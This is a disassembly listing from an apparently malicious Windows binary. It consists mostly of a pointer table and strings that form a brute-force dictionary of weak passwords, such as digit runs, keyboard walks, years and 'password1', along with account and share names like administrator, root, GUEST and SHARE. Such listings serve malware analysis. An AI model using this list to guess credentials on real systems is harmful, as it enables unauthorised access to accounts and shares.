dd offset dword_42F484
dd offset loc_426447+1
dd offset dword_42F480
dd offset off_42F47C
dd offset a@_6 ; "@"
dd offset a@@ ; "@@"
dd offset asc_42F470 ; "+"
dd offset asc_42F46C ; "++"
dd offset asc_42F468 ; "+++"
dd offset asc_42F460 ; "++++"
dd offset asc_42F45C ; "-"
dd offset asc_42F458 ; "--"
dd offset asc_42F458 ; "--"
dd offset asc_42F450 ; "----"
dd offset asc_42F44C ; "-+"
dd offset asc_42F444 ; "--++"
dd offset a0 ; "=-0"
dd offset a789_0 ; "789+"
dd offset a456_0 ; "456+"
dd offset asc_42F42C ; "$"
dd offset asc_42F428 ; "$$"
dd offset asc_42F424 ; "$$$"
dd offset a@_5 ; "*&^%$#@!"
dd offset a@_4 ; "&^%$#@!"
dd offset a@_3 ; "^%$#@!"
dd offset a@_2 ; "%$#@!"
dd offset a@_1 ; "$#@!"
dd offset a@_0 ; "#@!"
dd offset a@ ; "@!"
dd offset dword_42645C
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a000000000 ; "000000000"
dd offset a0000000000 ; "0000000000"
dd offset asc_426CEC ; "*"
dd offset asc_42F3D4 ; "**"
dd offset asc_42F3D0 ; "***"
dd offset asc_42F3C8 ; "****"
dd offset asc_42F3C0 ; "*****"
dd offset asc_42F3B8 ; "******"
dd offset asc_42F3B0 ; "*******"
dd offset asc_42F3A4 ; "********"
dd offset asc_42F398 ; "*********"
dd offset a001 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4_0 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5_0 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset a2006 ; "2006"
dd offset a2600 ; "2600"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a7654321 ; "7654321"
dd offset aSony ; "sony"
dd offset aSamsung_0 ; "SAMSUNG"
dd offset aSamsung ; "samsung"
dd offset aSony_0 ; "SONY"
dd offset aMaster_0 ; "MASTER"
dd offset aMicrosoft ; "MICROSOFT"
dd offset aDisc_0 ; "DISC"
dd offset aCreative ; "CREATIVE"
dd offset aSex ; "SEX"
dd offset aNokia ; "NOKIA"
dd offset aXp ; "XP"
dd offset aA_2 ; "a"
dd offset aAa ; "aa"
dd offset aAaa ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aAaaaaa ; "aaaaaa"
dd offset aAaaaaaa ; "aaaaaaa"
dd offset aAaaaaaaa ; "aaaaaaaa"
dd offset aAaaaaaaaa ; "aaaaaaaaa"
dd offset aPassword_0 ; "Password"
dd offset aPassword1 ; "password1"
dd offset aQw ; "qw"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aQwertyu ; "qwertyu"
dd offset aQwertyui ; "qwertyui"
dd offset aQwertyuio ; "qwertyuio"
dd offset aQwertyuiop ; "qwertyuiop"
dd offset aRoot ; "root"
dd offset aServer_0 ; "server"
dd offset aService ; "service"
dd offset aServers ; "servers"
dd offset aServices ; "services"
dd offset aSystem ; "system"
dd offset aSystem_0 ; "SYSTEM"
dd offset aChi_0 ; "CHI"
dd offset aChi ; "chi"
dd offset aKor_0 ; "kor"
dd offset aTiger ; "tiger"
dd offset aKor ; "KOR"
dd offset aToyota_0 ; "TOYOTA"
dd offset aToyota ; "toyota"
dd offset asc_432D30 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset aXyz ; "xyz"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aKonyang ; "konyang"
dd offset aZ_1 ; "z"
dd offset aZx ; "zx"
dd offset aZxc ; "zxc"
dd offset aZxcv ; "zxcv"
dd offset aZxcvb ; "zxcvb"
dd offset aZxcvbn ; "zxcvbn"
dd offset aZxcvbnm ; "zxcvbnm"
dd offset aAs ; "as"
dd offset aAsd ; "asd"
dd offset aAsdf ; "asdf"
dd offset aAsdfg ; "asdfg"
dd offset aAsdfgh ; "asdfgh"
dd offset aAsdfghj ; "asdfghj"
dd offset aAsdfghjk ; "asdfghjk"
dd offset aAsdfghjkl ; "asdfghjkl"
dd offset aQaz ; "qaz"
dd offset aWsx ; "wsx"
dd offset aEdc ; "edc"
dd offset aRfv ; "rfv"
dd offset aB_0 ; "b"
dd offset aBb ; "bb"
dd offset aBbb ; "bbb"
dd offset aBbbb ; "bbbb"
dd offset aBbbbb ; "bbbbb"
dd offset aBbbbbb ; "bbbbbb"
dd offset aBbbbbbb ; "bbbbbbb"
dd offset aBbbbbbbb ; "bbbbbbbb"
dd offset aBbbbbbbbb ; "bbbbbbbbb"
dd offset aC_1 ; "c"
dd offset aCc ; "cc"
dd offset aCcc ; "ccc"
dd offset aCccc_0 ; "cccc"
dd offset aCcccc ; "ccccc"
dd offset aCccccc ; "cccccc"
dd offset aCcccccc ; "ccccccc"
dd offset aCccccccc ; "cccccccc"
dd offset aCcccccccc ; "ccccccccc"
dd offset aD ; "d"
dd offset aDd_1 ; "dd"
dd offset aDdd ; "ddd"
dd offset aDddd ; "dddd"
dd offset aDdddd ; "ddddd"
dd offset aF ; "f"
; ---------------------------------------------------------------------------
or ah, ch
inc edx
add [esp+ebp*8], al
inc edx
add ah, bh
loc_42E5C1: ; CODE XREF: seg001:0042E5D4j
jmp short loc_42E605
; ---------------------------------------------------------------------------
align 4
dd offset aFffff ; "fffff"
dd offset aE ; "e"
dd offset aEe ; "ee"
dd offset aEee ; "eee"
; ---------------------------------------------------------------------------
loopne loc_42E5C1
inc edx
add al, bl
jmp short loc_42E61D
; ---------------------------------------------------------------------------
align 4
shr bl, 1
inc edx
add ah, cl
jmp short loc_42E625
; ---------------------------------------------------------------------------
align 4
dd offset aGg ; "gg"
dd offset aGgg ; "ggg"
; ---------------------------------------------------------------------------
mov esp, 0B40042EBh
jmp short loc_42E635
; ---------------------------------------------------------------------------
align 4
lodsb
jmp short loc_42E639
; ---------------------------------------------------------------------------
align 4
dd offset asc_42EBA8 ; "h"
; ---------------------------------------------------------------------------
movsb
jmp short loc_42E641
; ---------------------------------------------------------------------------
align 10h
mov al, ds:980042EBh
loc_42E605: ; CODE XREF: seg001:loc_42E5C1j
jmp short loc_42E649
; ---------------------------------------------------------------------------
align 4
dd offset aHhhhh ; "hhhhh"
dd offset aHhhhhh ; "hhhhhh"
; ---------------------------------------------------------------------------
test ch, bl
inc edx
add [eax+7C0042EBh], al
jmp short loc_42E65D
; ---------------------------------------------------------------------------
align 4
db 74h
; ---------------------------------------------------------------------------
loc_42E61D: ; CODE XREF: seg001:0042E5D9j
jmp short loc_42E661
; ---------------------------------------------------------------------------
align 10h
dd offset aIiiii ; "iiiii"
db 64h
; ---------------------------------------------------------------------------
loc_42E625: ; CODE XREF: seg001:0042E5E1j
jmp short loc_42E669
; ---------------------------------------------------------------------------
align 4
pusha
jmp short loc_42E66D
; ---------------------------------------------------------------------------
align 4
dd offset aJj ; "jj"
; ---------------------------------------------------------------------------
pop eax
jmp short near ptr byte_42E675
; ---------------------------------------------------------------------------
align 4
push eax
loc_42E635: ; CODE XREF: seg001:0042E5F1j
jmp short loc_42E679
; ---------------------------------------------------------------------------
align 4
dec eax
loc_42E639: ; CODE XREF: seg001:0042E5F5j
jmp short near ptr loc_42E679+4
; ---------------------------------------------------------------------------
align 4
inc eax
jmp short near ptr loc_42E680+1
; ---------------------------------------------------------------------------
align 10h
db 3Ch
; ---------------------------------------------------------------------------
loc_42E641: ; CODE XREF: seg001:0042E5FDj
jmp short loc_42E685
; ---------------------------------------------------------------------------
align 4
dd offset aKk ; "kk"
db 34h
; ---------------------------------------------------------------------------
loc_42E649: ; CODE XREF: seg001:loc_42E605j
jmp short loc_42E68D
; ---------------------------------------------------------------------------
align 4
sub al, 0EBh
inc edx
add [ebx+ebp*8], ah
inc edx
add [ebx+ebp*8], bl
inc edx
add [eax], bl
jmp short loc_42E69D
; ---------------------------------------------------------------------------
align 4
db 14h
; ---------------------------------------------------------------------------
loc_42E65D: ; CODE XREF: seg001:0042E619j
jmp short near ptr loc_42E69D+4
; ---------------------------------------------------------------------------
align 10h
db 10h
; ---------------------------------------------------------------------------
loc_42E661: ; CODE XREF: seg001:loc_42E61Dj
jmp short loc_42E6A5
; ---------------------------------------------------------------------------
align 4
dd offset aLlll ; "llll"
db 0
; ---------------------------------------------------------------------------
loc_42E669: ; CODE XREF: seg001:loc_42E625j
jmp short loc_42E6AD
; ---------------------------------------------------------------------------
align 4
clc
loc_42E66D: ; CODE XREF: seg001:0042E629j
jmp far ptr 42h:0EAF40042h
; ---------------------------------------------------------------------------
db 0F0h
byte_42E675 db 0EAh, 42h, 0 ; CODE XREF: seg001:0042E631j
db 0ECh
; ---------------------------------------------------------------------------
loc_42E679: ; CODE XREF: seg001:loc_42E635j
; seg001:loc_42E639j
jmp far ptr 42h:0EAE40042h
; ---------------------------------------------------------------------------
loc_42E680: ; CODE XREF: seg001:0042E63Dj
fsub st(2), st
inc edx
add ah, dl
loc_42E685: ; CODE XREF: seg001:loc_42E641j
jmp far ptr 42h:0EAD00042h
; ---------------------------------------------------------------------------
db 0CCh
; ---------------------------------------------------------------------------
loc_42E68D: ; CODE XREF: seg001:loc_42E649j
jmp far ptr 42h:0EAC80042h
; ---------------------------------------------------------------------------
shr dl, 42h
add [eax-4FFFBD16h], bh
loc_42E69D: ; CODE XREF: seg001:0042E659j
; seg001:loc_42E65Dj
jmp far ptr 42h:0EAAC0042h
; ---------------------------------------------------------------------------
db 0A8h
; ---------------------------------------------------------------------------
loc_42E6A5: ; CODE XREF: seg001:loc_42E661j
jmp far ptr 42h:0EAA40042h
; ---------------------------------------------------------------------------
pushf
loc_42E6AD: ; CODE XREF: seg001:loc_42E669j
jmp far ptr 42h:0EA940042h
; ---------------------------------------------------------------------------
dd offset aOooooo ; "oooooo"
dd offset aP_1 ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU_0 ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_4 ; "s"
dd offset aSs ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
dd offset aVv ; "vv"
dd offset aVvv ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
dd offset aW ; "w"
dd offset aWw ; "ww"
dd offset aWww ; "www"
dd offset aWwww ; "wwww"
dd offset aWwwww ; "wwwww"
dd offset aWwwwww ; "wwwwww"
dd offset aQ ; "q"
dd offset aQq ; "qq"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aQqqqqq ; "qqqqqq"
dd offset aZ_1 ; "z"
dd offset aZz ; "zz"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
dd offset aXxyyzz ; "xxyyzz"
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
dd offset aQqww ; "qqww"
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
dd offset aQqqwwweee ; "qqqwwweee"
dd offset aQqwwee ; "qqwwee"
dd offset aAassdd ; "aassdd"
dd offset aZzxxcc ; "zzxxcc"
dd offset a1qaz ; "1qaz"
dd offset a2wsx ; "2wsx"
dd offset a2qaz ; "2qaz"
dd offset a3edc ; "3edc"
dd offset a3wsx ; "3wsx"
dd offset a112233 ; "112233"
dd offset aMnb ; "mnb"
dd offset aMnbv ; "mnbv"
dd offset a2486 ; "2486"
dd offset a2684 ; "2684"
dd offset a13579 ; "13579"
dd offset a753159 ; "753159"
dd offset a159357 ; "159357"
dd offset a951753 ; "951753"
dd offset a753951 ; "753951"
dd offset a142536 ; "142536"
dd offset aSystem ; "system"
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
align 10h
dword_42E870 dd 10h ; DATA XREF: sub_40AF80+72w
; sub_40CD3A+B03r ...
a142536 db '142536',0 ; DATA XREF: seg001:0042E7F4o
align 4
a753951 db '753951',0 ; DATA XREF: seg001:0042E7F0o
align 4
a951753 db '951753',0 ; DATA XREF: seg001:0042E7ECo
align 4
a159357 db '159357',0 ; DATA XREF: seg001:0042E7E8o
align 4
a753159 db '753159',0 ; DATA XREF: seg001:0042E7E4o
align 4
a13579 db '13579',0 ; DATA XREF: seg001:0042E7E0o
align 4
a2684 db '2684',0 ; DATA XREF: seg001:0042E7DCo
align 4
a2486 db '2486',0 ; DATA XREF: seg001:0042E7D8o
align 4
aMnbv db 'mnbv',0 ; DATA XREF: seg001:0042E7D4o
align 4
aMnb db 'mnb',0 ; DATA XREF: seg001:0042E7D0o
a112233 db '112233',0 ; DATA XREF: seg001:0042E7CCo
align 4
a3wsx db '3wsx',0 ; DATA XREF: seg001:0042E7C8o
align 10h
a3edc db '3edc',0 ; DATA XREF: seg001:0042E7C4o
align 4
a2qaz db '2qaz',0 ; DATA XREF: seg001:0042E7C0o
align 10h
a2wsx db '2wsx',0 ; DATA XREF: seg001:0042E7BCo
align 4
a1qaz db '1qaz',0 ; DATA XREF: seg001:0042E7B8o
align 10h
aZzxxcc db 'zzxxcc',0 ; DATA XREF: seg001:0042E7B4o
align 4
aAassdd db 'aassdd',0 ; DATA XREF: seg001:0042E7B0o
align 10h
aQqwwee db 'qqwwee',0 ; DATA XREF: seg001:0042E7ACo
align 4
aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: seg001:0042E7A8o
align 4
aAaasssddd db 'aaasssddd',0 ; DATA XREF: seg001:0042E7A4o
align 10h
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: seg001:0042E7A0o
align 4
aQqww db 'qqww',0 ; DATA XREF: seg001:0042E79Co
align 4
aAass db 'aass',0 ; DATA XREF: seg001:0042E798o
align 4
aZzxx db 'zzxx',0 ; DATA XREF: seg001:0042E794o
align 4
aXxyyzz db 'xxyyzz',0 ; DATA XREF: seg001:0042E790o
align 4
aZzzzzz db 'zzzzzz',0 ; DATA XREF: seg001:0042E78Co
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: seg001:0042E788o
align 4
aZzzz db 'zzzz',0 ; DATA XREF: seg001:0042E784o
align 4
aZzz db 'zzz',0 ; DATA XREF: seg001:0042E780o
aZz db 'zz',0 ; DATA XREF: seg001:0042E77Co
align 4
aQqqqqq db 'qqqqqq',0 ; DATA XREF: seg001:0042E774o
align 4
aQqqqq db 'qqqqq',0 ; DATA XREF: seg001:0042E770o
align 4
aQqqq db 'qqqq',0 ; DATA XREF: seg001:0042E76Co
align 4
aQqq db 'qqq',0 ; DATA XREF: seg001:0042E768o
aQq db 'qq',0 ; DATA XREF: seg001:0042E764o
align 4
aQ: ; DATA XREF: seg001:0042E760o
unicode 0, <q>,0
aWwwwww db 'wwwwww',0 ; DATA XREF: seg001:0042E75Co
align 4
aWwwww db 'wwwww',0 ; DATA XREF: seg001:0042E758o
align 10h
aWwww db 'wwww',0 ; DATA XREF: seg001:0042E754o
align 4
aWww db 'www',0 ; DATA XREF: seg001:0042E750o
aWw db 'ww',0 ; DATA XREF: seg001:0042E74Co
align 10h
aW: ; DATA XREF: seg001:0042E748o
unicode 0, <w>,0
aVvvvvv db 'vvvvvv',0 ; DATA XREF: seg001:0042E744o
align 4
aVvvvv db 'vvvvv',0 ; DATA XREF: seg001:0042E740o
align 4
aVvvv db 'vvvv',0 ; DATA XREF: seg001:0042E73Co
align 4
aVvv db 'vvv',0 ; DATA XREF: sub_40CD3A+25AAo
; seg001:0042E738o
aVv db 'vv',0 ; DATA XREF: seg001:0042E734o
align 4
aV: ; DATA XREF: seg001:0042E730o
unicode 0, <v>,0
aYyyyyy db 'yyyyyy',0 ; DATA XREF: seg001:0042E72Co
align 10h
aYyyyy db 'yyyyy',0 ; DATA XREF: seg001:0042E728o
align 4
aYyyy db 'yyyy',0 ; DATA XREF: seg001:0042E724o
align 10h
aYyy db 'yyy',0 ; DATA XREF: seg001:0042E720o
aYy db 'yy',0 ; DATA XREF: seg001:0042E71Co
align 4
aY: ; DATA XREF: seg001:0042E718o
unicode 0, <y>,0
aTttttt db 'tttttt',0 ; DATA XREF: seg001:0042E714o
align 4
aTtttt db 'ttttt',0 ; DATA XREF: seg001:0042E710o
align 4
aTttt db 'tttt',0 ; DATA XREF: seg001:0042E70Co
align 4
aTtt db 'ttt',0 ; DATA XREF: seg001:0042E708o
aTt db 'tt',0 ; DATA XREF: seg001:0042E704o
align 4
aT: ; DATA XREF: seg001:0042E700o
unicode 0, <t>,0
aSsssss db 'ssssss',0 ; DATA XREF: seg001:0042E6FCo
align 4
aSssss db 'sssss',0 ; DATA XREF: seg001:0042E6F8o
align 10h
aSsss db 'ssss',0 ; DATA XREF: seg001:0042E6F4o
align 4
aSss db 'sss',0 ; DATA XREF: seg001:0042E6F0o
aSs db 'ss',0 ; DATA XREF: seg001:0042E6ECo
align 10h
aS_4: ; DATA XREF: seg001:0042E6E8o
unicode 0, <s>,0
aUuuuuu db 'uuuuuu',0 ; DATA XREF: seg001:0042E6E4o
align 4
aUuuuu db 'uuuuu',0 ; DATA XREF: seg001:0042E6E0o
align 4
aUuuu db 'uuuu',0 ; DATA XREF: seg001:0042E6DCo
align 4
aUuu db 'uuu',0 ; DATA XREF: seg001:0042E6D8o
aUu db 'uu',0 ; DATA XREF: seg001:0042E6D4o
align 4
aU_0: ; DATA XREF: seg001:0042E6D0o
unicode 0, <u>,0
aPppppp db 'pppppp',0 ; DATA XREF: seg001:0042E6CCo
align 10h
aPpppp db 'ppppp',0 ; DATA XREF: seg001:0042E6C8o
align 4
aPppp db 'pppp',0 ; DATA XREF: seg001:0042E6C4o
align 10h
aPpp db 'ppp',0 ; DATA XREF: seg001:0042E6C0o
aPp db 'pp',0 ; DATA XREF: seg001:0042E6BCo
align 4
aP_1: ; DATA XREF: seg001:0042E6B8o
unicode 0, <p>,0
aOooooo db 'oooooo',0 ; DATA XREF: seg001:0042E6B4o
align 4
aOoooo db 'ooooo',0
align 4
aOooo db 'oooo',0
align 4
aOoo db 'ooo',0
aOo db 'oo',0
align 4
aO:
unicode 0, <o>,0
aNnnnnn db 'nnnnnn',0
align 4
aNnnnn db 'nnnnn',0
align 10h
aNnnn db 'nnnn',0
align 4
aNnn db 'nnn',0
aNn db 'nn',0
align 10h
aN_0:
unicode 0, <n>,0
aMmmmmm db 'mmmmmm',0
align 4
aMmmmm db 'mmmmm',0
align 4
aMmmm db 'mmmm',0
align 4
aMmm db 'mmm',0
aMm db 'mm',0
align 4
aM_0:
unicode 0, <m>,0
aLlllll db 'llllll',0
align 10h
aLllll db 'lllll',0
align 4
aLlll db 'llll',0 ; DATA XREF: seg001:0042E664o
align 10h
aLll db 'lll',0
aLl db 'll',0
align 4
unicode 0, <l>,0
aKkkkkk db 'kkkkkk',0
align 4
aKkkkk db 'kkkkk',0
align 4
aKkkk db 'kkkk',0
align 4
aKkk db 'kkk',0
aKk db 'kk',0 ; DATA XREF: seg001:0042E644o
align 4
aK:
unicode 0, <k>,0
aJjjjjj db 'jjjjjj',0
align 4
aJjjjj db 'jjjjj',0
align 10h
aJjjj db 'jjjj',0
align 4
aJjj db 'jjj',0
aJj db 'jj',0 ; DATA XREF: seg001:0042E62Co
align 10h
aJ:
unicode 0, <j>,0
aIiiiii db 'iiiiii',0
align 4
aIiiii db 'iiiii',0 ; DATA XREF: seg001:0042E620o
align 4
aIiii db 'iiii',0
align 4
aIii db 'iii',0
aIi db 'ii',0
align 4
aI_1:
unicode 0, <i>,0
aHhhhhh db 'hhhhhh',0 ; DATA XREF: seg001:0042E60Co
align 10h
aHhhhh db 'hhhhh',0 ; DATA XREF: seg001:0042E608o
align 4
aHhhh db 'hhhh',0
align 10h
aHhh db 'hhh',0
aHh db 'hh',0
align 4
asc_42EBA8: ; DATA XREF: seg001:0042E5F8o
unicode 0, <h>,0
aGggggg db 'gggggg',0
align 4
aGgggg db 'ggggg',0
align 4
aGggg db 'gggg',0
align 4
aGgg db 'ggg',0 ; DATA XREF: seg001:0042E5E8o
aGg db 'gg',0 ; DATA XREF: seg001:0042E5E4o
align 4
aG:
unicode 0, <g>,0
aEeeeee db 'eeeeee',0
align 4
aEeeee db 'eeeee',0
align 10h
aEeee db 'eeee',0
align 4
aEee db 'eee',0 ; DATA XREF: seg001:0042E5D0o
aEe db 'ee',0 ; DATA XREF: seg001:0042E5CCo
align 10h
aE: ; DATA XREF: seg001:0042E5C8o
unicode 0, <e>,0
aFffff db 'fffff',0 ; DATA XREF: seg001:0042E5C4o
align 4
aFfff db 'ffff',0
align 4
aFff db 'fff',0
aFf db 'ff',0
align 4
aF: ; DATA XREF: seg001:0042E5B4o
unicode 0, <f>,0
aDdddd db 'ddddd',0 ; DATA XREF: seg001:0042E5B0o
align 4
aDddd db 'dddd',0 ; DATA XREF: seg001:0042E5ACo
align 10h
aDdd db 'ddd',0 ; DATA XREF: seg001:0042E5A8o
aDd_1 db 'dd',0 ; DATA XREF: seg001:0042E5A4o
align 4
aD: ; DATA XREF: seg001:0042E5A0o
unicode 0, <d>,0
aCcccccccc db 'ccccccccc',0 ; DATA XREF: seg001:0042E59Co
align 4
aCccccccc db 'cccccccc',0 ; DATA XREF: seg001:0042E598o
align 4
aCcccccc db 'ccccccc',0 ; DATA XREF: seg001:0042E594o
aCccccc db 'cccccc',0 ; DATA XREF: seg001:0042E590o
align 4
aCcccc db 'ccccc',0 ; DATA XREF: seg001:0042E58Co
align 4
aCccc_0 db 'cccc',0 ; DATA XREF: seg001:0042E588o
align 4
aCcc db 'ccc',0 ; DATA XREF: seg001:0042E584o
aCc db 'cc',0 ; DATA XREF: seg001:0042E580o
align 4
